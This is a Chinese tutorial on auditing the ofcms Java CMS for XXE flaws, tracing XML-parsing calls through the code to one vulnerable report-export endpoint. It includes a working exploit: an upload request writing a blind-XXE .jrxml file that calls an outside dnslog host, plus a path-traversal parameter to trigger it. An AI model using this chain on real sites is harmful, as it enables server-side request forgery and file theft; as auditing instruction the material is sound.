Java代码审计篇 | ofcms系统审计思路讲解 - 篇4 | XXE漏洞审计
文章目录
- Java代码审计篇 | ofcms系统审计思路讲解 - 篇4 | XXE漏洞审计
- 0. 前言
- 1. XXE代码审计【有1处】
- 1.1. 搜索JRXmlLoader
- 1.1.1. JRAntApiWriteTask
- 1.1.2. JRAntUpdateTask
- 1.1.3. TableReportContextXmlRule
- 1.1.4. JasperCompileManager【存在漏洞】
- 1.2. 搜索XMLReader
- 1.2.1. DTMManagerDefault
- 1.2.2. IncrementalSAXSource\_Xerces
- 1.2.3. IncrementalSAXSource\_Filter
- 1.2.4. XMLReaderManager
- 1.2.5. CoroutineParser
- 1.3. 搜索SAXBuilder
- 1.4. 搜索SAXReader
- 1.5. 搜索SAXParserFactory
- 1.5.1. SynthParser
- 1.5.2. ResolvingParser
- 1.5.3. Process
- 1.5.4. SAXCatalogReader
- 1.5.5. AndroidFontFinder
- 1.5.6. JRPrintXmlLoader
- 1.6. 搜索Digester
- 1.6.1. JRXmlLoader
- 1.6.2. JRPrintXmlLoader
- 1.6.3. JRXmlTemplateLoader
- 1.7. 搜索DocumentBuilderFactory
- 1.7.1. DTMManagerDefault
- 1.7.2. DOMCatalogReader
Java代码审计篇 | ofcms系统审计思路讲解 - 篇4 | XXE漏洞审计
0. 前言
我发现很多文章包括教程,大概套路是:只说有漏洞的点,将有漏洞的点指出,然后分析代码;或者黑盒测试出漏洞之后,然后分析代码。
我认为这是在分析漏洞代码,而非代码审计。代码审计文章或教程应该是从0开始找到漏洞所在,包括思路!
所以这里不管有没有漏洞,我都会把审计过程写出来,因此篇幅会很长,但我认为这样对你会很有帮助。
知其然亦知所以然。
由于篇幅较长,因此我会分几篇进行,本篇是整个系列的第4篇,讲解1个内容:
- XXE漏洞审计
本系列文章:
- Java代码审计篇 | ofcms系统审计思路讲解 - 篇1 | 环境搭建、路由机制
- Java代码审计篇 | ofcms系统审计思路讲解 - 篇2 | SQL注入漏洞审计
- Java代码审计篇 | ofcms系统审计思路讲解 - 篇3 | 文件上传漏洞审计
- Java代码审计篇 | ofcms系统审计思路讲解 - 篇4 | XXE漏洞审计
搭建好环境,确定好项目结构之后,按我思路是应该审计项目所使用框架漏洞的,这里关于框架漏洞就放最后篇章来说了,我们先了解下基础漏洞的审计~
文章中有错误点,或者思路上有什么问题的,欢迎师傅们留言指出~
1. XXE代码审计【有1处】
XXE代码审计常搜索的关键字如下:
XMLReader
SAXBuilder
SAXReader
SAXParserFactory
Digester
DocumentBuilderFactory
...
还有一个特殊的,用于加载.jrxml
文件,这是 JasperReports 特定的 XML 格式,用于定义报告模板。
JRXmlLoader
1.1. 搜索JRXmlLoader
当然这样搜比较慢,而且有很多重复的,这里有个小技巧,可以搜到JRXmlLoader之后,然后Find Usages(Alt+F7),然后找到Usage in import查看哪些类有导入JRXmlLoader。
概涉及的类有:
JRAntApiWriteTask
JRAntUpdateTask
TableReportContextXmlRule
JasperCompileManager
JasperDesignCache
JRDesignViewer
...
挨个查看一下,需要找解析jrxml
文件的代码以及对应方法的调用情况:
这里有个小技巧:因为这些类都是导入的jar包内部的,这说明,不是每个类和方法都会被使用到;
与之不同的则是项目自己写的类和方法,一般都会被用到。
因此:我们可以先查找类中方法的调用,确定有没有使用到,没有使用到就不用管了,这样可以节省大量的时间。
1.1.1. JRAntApiWriteTask
进到JRAntApiWriteTask类中之后,在本类中同样搜索JRXmlLoader,查看哪些位置使用了JRXmlLoader:
可以看到,代码中使用了JRXmlLoader.load(srcFileName)
,这里调用了.load()
方法,这是JRXmlLoader
加载jrxml
文件的方式。
其中这段代码是在writeApi()
方法中被调用。
接下来的思路是:先查找writeApi()
方法的调用情况(原因前面已经说了)
可以看到,同类下的execute()
方法对其有调用,但是通过查找execute()
的调用,发现并没有被使用。因此,此处就不需要再往下进行了。
1.1.2. JRAntUpdateTask
进到JRAntUpdateTask类中之后,在本类中同样搜索JRXmlLoader,查看哪些位置使用了JRXmlLoader,以及方法的调用情况:
和JRAntApiWriteTask类中的情况一样,execute()
没有被调用,不用管了。
1.1.3. TableReportContextXmlRule
这个类虽然导入了JRXmlLoader,但是没有调用.load()方法,所以也不用管了
1.1.4. JasperCompileManager【存在漏洞】
这个类中的方法很多,很多方法都用到了JRXmlLoader:
我们应该怎么定位呢?
想一下我们在干嘛?是不是在寻找XXE漏洞,回想XXE原理,其中前提是:代码需要解析xml(jrxml)文件才可能有漏洞,如果是生成xml文件是不是就不用管了。
因此:我们需要定位到解析xml(jrxml)文件的地方。
在JRXmlLoader中解析使用的是load()
方法,因此我们可以在当前类中搜索.load(,
发现定位到了5个位置:
来详细看一下:
分析一下代码,方法之间进行了互相调用,当然也调用了除了上述方法之外的方法。
下面我用调用图展示一下:
这三个调用链都涉及到了load()
方法,因此都有可能存在XXE漏洞。
接下来看每个调用链最上层的方法是怎么调用的(也就是找参数sourceFileName从哪来的),三个方法分别如下:(通过Find Usages/Alt+F7查询)
-
compileReportToFile()
方法,没有被调用,即该方法没有触发,不用管了~ -
第1个
compile(String sourceFileName)
方法,被当前类的compileReport(String sourceFileName)
方法调用 -
第2个compile(InputStream inputStream)方法,被当前类的
compileReport(InputStream inputStream)
方法调用 -
compileReportToStream()
方法,没有被调用,即该方法没有触发,不用管了~
目前,只需要关注其中两个就好:
- 1)
ompileReport(String sourceFileName)
- 2)
compileReport(InputStream inputStream)
继续查看其调用关系:其中compileReport(InputStream inputStream)
存在调用,ompileReport(String sourceFileName)
没有被调用。
定位到compileReport(InputStream inputStream)
的调用位置,查看源码:
ReprotAction
类的expReport()
方法将其调用。
并且ReprotAction
类上存在一个@Action(path = "/reprot")
注解,也就是说这里可以被前端请求触发执行。
触发该expReport()
方法的接口为:/admin/reprot/expReport.json
那么接下来做两件事:
- 1)确定传参,有无过滤
- 2)触发接口,进行漏洞测试
从下面这段代码可以看出:compileReport(new FileInputStream(file))
的file是从"/WEB-INF/jrxml/" + jrxmlFileName + ".jrxml"
获取的.jrxml
文件,而具体什么文件,由前端传递的“j”
参数决定。
简单来说就是:在/WEB-INF/jrxml/
目录下寻找“j”
参数指定的.jrxml
文件进行jrxml文件的解析。
并从调用链看出:整个过程没有对文件进行过滤,包括也没有禁止解析外部实体(默认可以解析外部实体)。
调用链如下:
expReport()->compileReport()->compile()->JRXmlLoader.load()
所以这里是存在XXE漏洞的。
那这样的话,我们只需要保证:前端触发/admin/reprot/expReport.json
接口时,传递“j”
参数指定的.jrxml
文件中存在恶意外部实体,就可以实现漏洞利用。
这里还有一个问题:“j”
参数指定的.jrxml
文件是在/WEB-INF/jrxml/
目录下,这里我们是不可控的,因此怎么让ta能够加载一个存在恶意外部实体的.jrxml
文件呢?
这里只能结合前面的文件上传漏洞,写入恶意.jrxml
,来实现XXE漏洞的利用(如果这里不存在文件上传漏洞,这里无法利用)。
接下来,尝试利用一下:(这里没有回显,使用盲XXE方式)
1)通过文件上传漏洞,上传一个带有恶意外部实体的.jrxml
文件。
file_name=../../../static/exp.jrxml
file_content=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3C%21DOCTYPE+root+%5B%3C%21ENTITY+%25+exp+SYSTEM+%22http%3A%2F%2Fxzlxvdibrb.iyhc.eu.org%22%3E%25exp%3B%5D%3E
file_content解码如下:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % exp SYSTEM "http://xzlxvdibrb.iyhc.eu.org">%exp;]>
2)触发/admin/reprot/expReport.json
接口
根据功能和接口可以定位到功能为止:用户管理-导出全部
点击“导出全部”,抓包,修改参数:
j=../../static/exp
可以看到,请求dnslog成功
1.2. 搜索XMLReader
注释忽略不看,剩余的大概涉及的类有
DTMManagerDefault
IncrementalSAXSource_Xerces
IncrementalSAXSource_Filter
XMLReaderManager
下面是接口
CoroutineParser
每个都大概看一下:(找方法的调用情况,及解析xml文件的相关方法,比如parse()等)
XMLReader的使用链为:
XMLReader.parse()
1.2.1. DTMManagerDefault
这个调用链非常的长,一般超过3个我都不会去审计了,因为ta有可能是组件内部使用的,有兴趣的师傅可以自行追一下方法调用链,说不定有组件0day哦~
1.2.2. IncrementalSAXSource_Xerces
该类中不存在解析xml文件的代码,故忽略
1.2.3. IncrementalSAXSource_Filter
此类中存在解析xml文件的代码
接下来,追踪其方法调用及参数传递
run()方法的调用很多:
但是存在一个问题,parse()方法所需的参数,并不是run()方法传递进来的。
因此接下来从参数传递进行分析,看是否可控
可以看到,该参数是startParse(InputSource source)
方法传入,接下来追踪下该方法
有两个类中调用了该方法,一个DTMManagerDefault,一个IncrementalSAXSource_Xerces
1.2.4. XMLReaderManager
疲倦了,师傅们自己追追吧~
1.2.5. CoroutineParser
疲倦了,师傅们自己追追吧~
1.3. 搜索SAXBuilder
不存在SAXBuilder。
1.4. 搜索SAXReader
搜索SAXReader之后,进入类之后,发现所搜到的都是变量名
并不是SAXReader对象,而是SAXCatalogReader类对象,没有解析xml文件的代码,所以不需要再看了。
📌
SAXCatalogReader
是一个与 XML 解析相关的概念,主要用于处理 XML 文档中的外部实体引用。它通常与 XML 解析器一起使用,以解决 DTD(Document Type Definition)或 XML 实体的重定向问题。通过配置SAXCatalogReader
,可以在解析 XML 文档时指定特定的目录文件,从而控制对外部资源的访问。
1.5. 搜索SAXParserFactory
SAXParserFactory的使用链为:
SAXParserFactory.newInstance().newSAXParser().parse()
所以在搜索到的类中,搜索.parse(
,如果有的话则存在解析xml,不存在则没有。
这里交给大家一个小技巧,使用正则表达式,搜索包含SAXParserFactory
且包含.parse(
的java类:
(SAXParserFactory(.|\n)*\.parse\()|(\.parse\((.|\n)*\.parse\(SAXParserFactory)
通过搜索,可以定位到比较精确的java类:
设计到的类有:
SynthParser
ResolvingParser
Process
SAXCatalogReader
AndroidFontFinder
JRPrintXmlLoader
1.5.1. SynthParser
追踪一下parse()
的调用,发现存在
继续追踪load()
,发现只在注释中出现,没有其他调用了,那就不用管了。
1.5.2. ResolvingParser
这个类搜索到的parse并不是用来解析xml文件的,所以忽略
1.5.3. Process
该类中存在解析xml文件的代码:
该段代码存在的方法为_main()
,但并未有调用,因此忽略
1.5.4. SAXCatalogReader
该类中存在解析xml文件的代码:
追踪下readCatalog()
方法的调用,这个时候,会发现,方法的调用链很长。此时也要结合参数的来源一同分析。
📌tips:方法的调用链很长,没完没了,其实这里差不多可以放弃了,如果是项目代码中真正用到了,代用链不会过长(当然也不一定,只是经验之谈)。
当然,你可以继续查看调用链,说不定会存在组件0day。
这里其实也可以结合参数来一起分析,参数可能在方法调用链的某个中间位置就确定了,那就不需要分析这么长的调用链了。
通过分析方法调用和参数传递,主要分为两种情况:
readCatalog()
方法的调用一部分来自其他类中readCatalog()
方法,而这些方法并没有再被调用,所以没有被使用,因此这部分忽略,见下图红框处:
剩下的就是parseCatalog()
方法了:
其中parseCatalog(URL aUrl)
无调用:
其中parseCatalogFile(String fileName)
调用链比较长,但是参数在该方法中就确定了:
不是可控的,不用管了。
最后的parseCatalog(String mimeType, InputStream is)
:
还得继续追踪其调用:
追踪到queryResolver()
方法,其参数也是不可控的,忽略。
SAXCatalogReader的分析到此为止。
1.5.5. AndroidFontFinder
该类中存在解析xml文件的代码:
其中参数来源为parseSystemDefaultFonts()
方法,追踪该方法的调用:
存在两个,但是parseSystemDefaultFonts()
方法所需参数并不是从这两个方法传入的,因此在这两个方法内部就确定了parseSystemDefaultFonts()
方法所需参数,即最终parse()
方法的参数。
那么分析一下:
这里可以看出,这个参数是固定不可控的,因此忽略,另一个方法内部也是如此,因此也忽略。
1.5.6. JRPrintXmlLoader
该类中存在解析xml文件的代码:
其方法为loadXML(InputStream is)
,追踪方法调用,
但是追踪其方法调用,发现最上层方法并没有被调用,截图略,其中调用链为:
load(String sourceFileName)
loadFromFile(String sourceFileName)
loadFromFile(JasperReportsContext jasperReportsContext, String sourceFileName)
loadXML(InputStream is)
digester.parse(is)
还有一个调用链为:
RViewer(String fileName, boolean isXML, Locale locale)
JRViewer(String fileName, boolean isXML, Locale locale, ResourceBundle resBundle)
JRViewer(
JasperReportsContext jasperReportsContext,
String fileName,
boolean isXML,
Locale locale,
ResourceBundle resBundle
)
loadReport(String fileName, boolean isXmlReport)
loadXML(InputStream is)
digester.parse(is)
不管哪个调用链,其最上层方法都没有被调用,因此忽略。
1.6. 搜索Digester
Digester的使用链为:
Digester.parse()
所以在搜索到的类中,搜索.parse(
,如果有的话则存在解析xml,不存在则没有。
使用正则表达式,搜索包含Digester
且包含.parse(
的java类:
(Digester(.|\n)*\.parse\()|(\.parse\((.|\n)*\.parse\(Digester)
通过搜索,可以定位到比较精确的java类:
涉及的类有:
JRXmlLoader
JRPrintXmlLoader
JRXmlTemplateLoader
1.6.1. JRXmlLoader
该类中的loadXML()
方法没有被调用,忽略
1.6.2. JRPrintXmlLoader
该类中的loadXML()
方法没有被调用,忽略
1.6.3. JRXmlTemplateLoader
该类中的loadTemplate()
方法没有被调用,忽略
1.7. 搜索DocumentBuilderFactory
DocumentBuilderFactory的使用链为:
DocumentBuilderFactory.newInstance().parse(new InputSource(new StringReader(xxx)))
所以在搜索到的类中,搜索.parse(
,如果有的话则存在解析xml,不存在则没有。
使用正则表达式,搜索包含DocumentBuilderFactory
且包含.parse(
的java类:
(DocumentBuilderFactory(.|\n)*\.parse\()|(\.parse\((.|\n)*\.parse\(DocumentBuilderFactory)
通过搜索,可以定位到比较精确的java类:
涉及到的类有:
DTMManagerDefault
DOMCatalogReader
XMLParserImpl
Process
TransformerImpl
XPathExpressionImpl
Metacity
JRXmlDocumentProducer
JRXmlUtils
JRStyledTextParser
SimpleFontExtensionHelper
MapFillComponent
FillPlaceItem
XmlSupport
接下来思路一下,查看每个类中相关代码
- parse是不在解析xml文件
- 其相关方法的调用关系
- 解析的xml文件参数是否可控
- 有无过滤、禁止解析外部DTD
1.7.1. DTMManagerDefault
之前遇到过,忽略。
1.7.2. DOMCatalogReader
该类中存在解析xml文件的代码:
其方法为readCatalog(Catalog catalog, InputStream is)
,追踪方法调用。
📌剩下的不想追了,累了~ 有兴趣的师傅可以自己每个都追下,这样就不会漏了,祝各位师傅天天出0day。
有好的技巧、好的思路的师傅也可以共享下思路,互相学习~~么么哒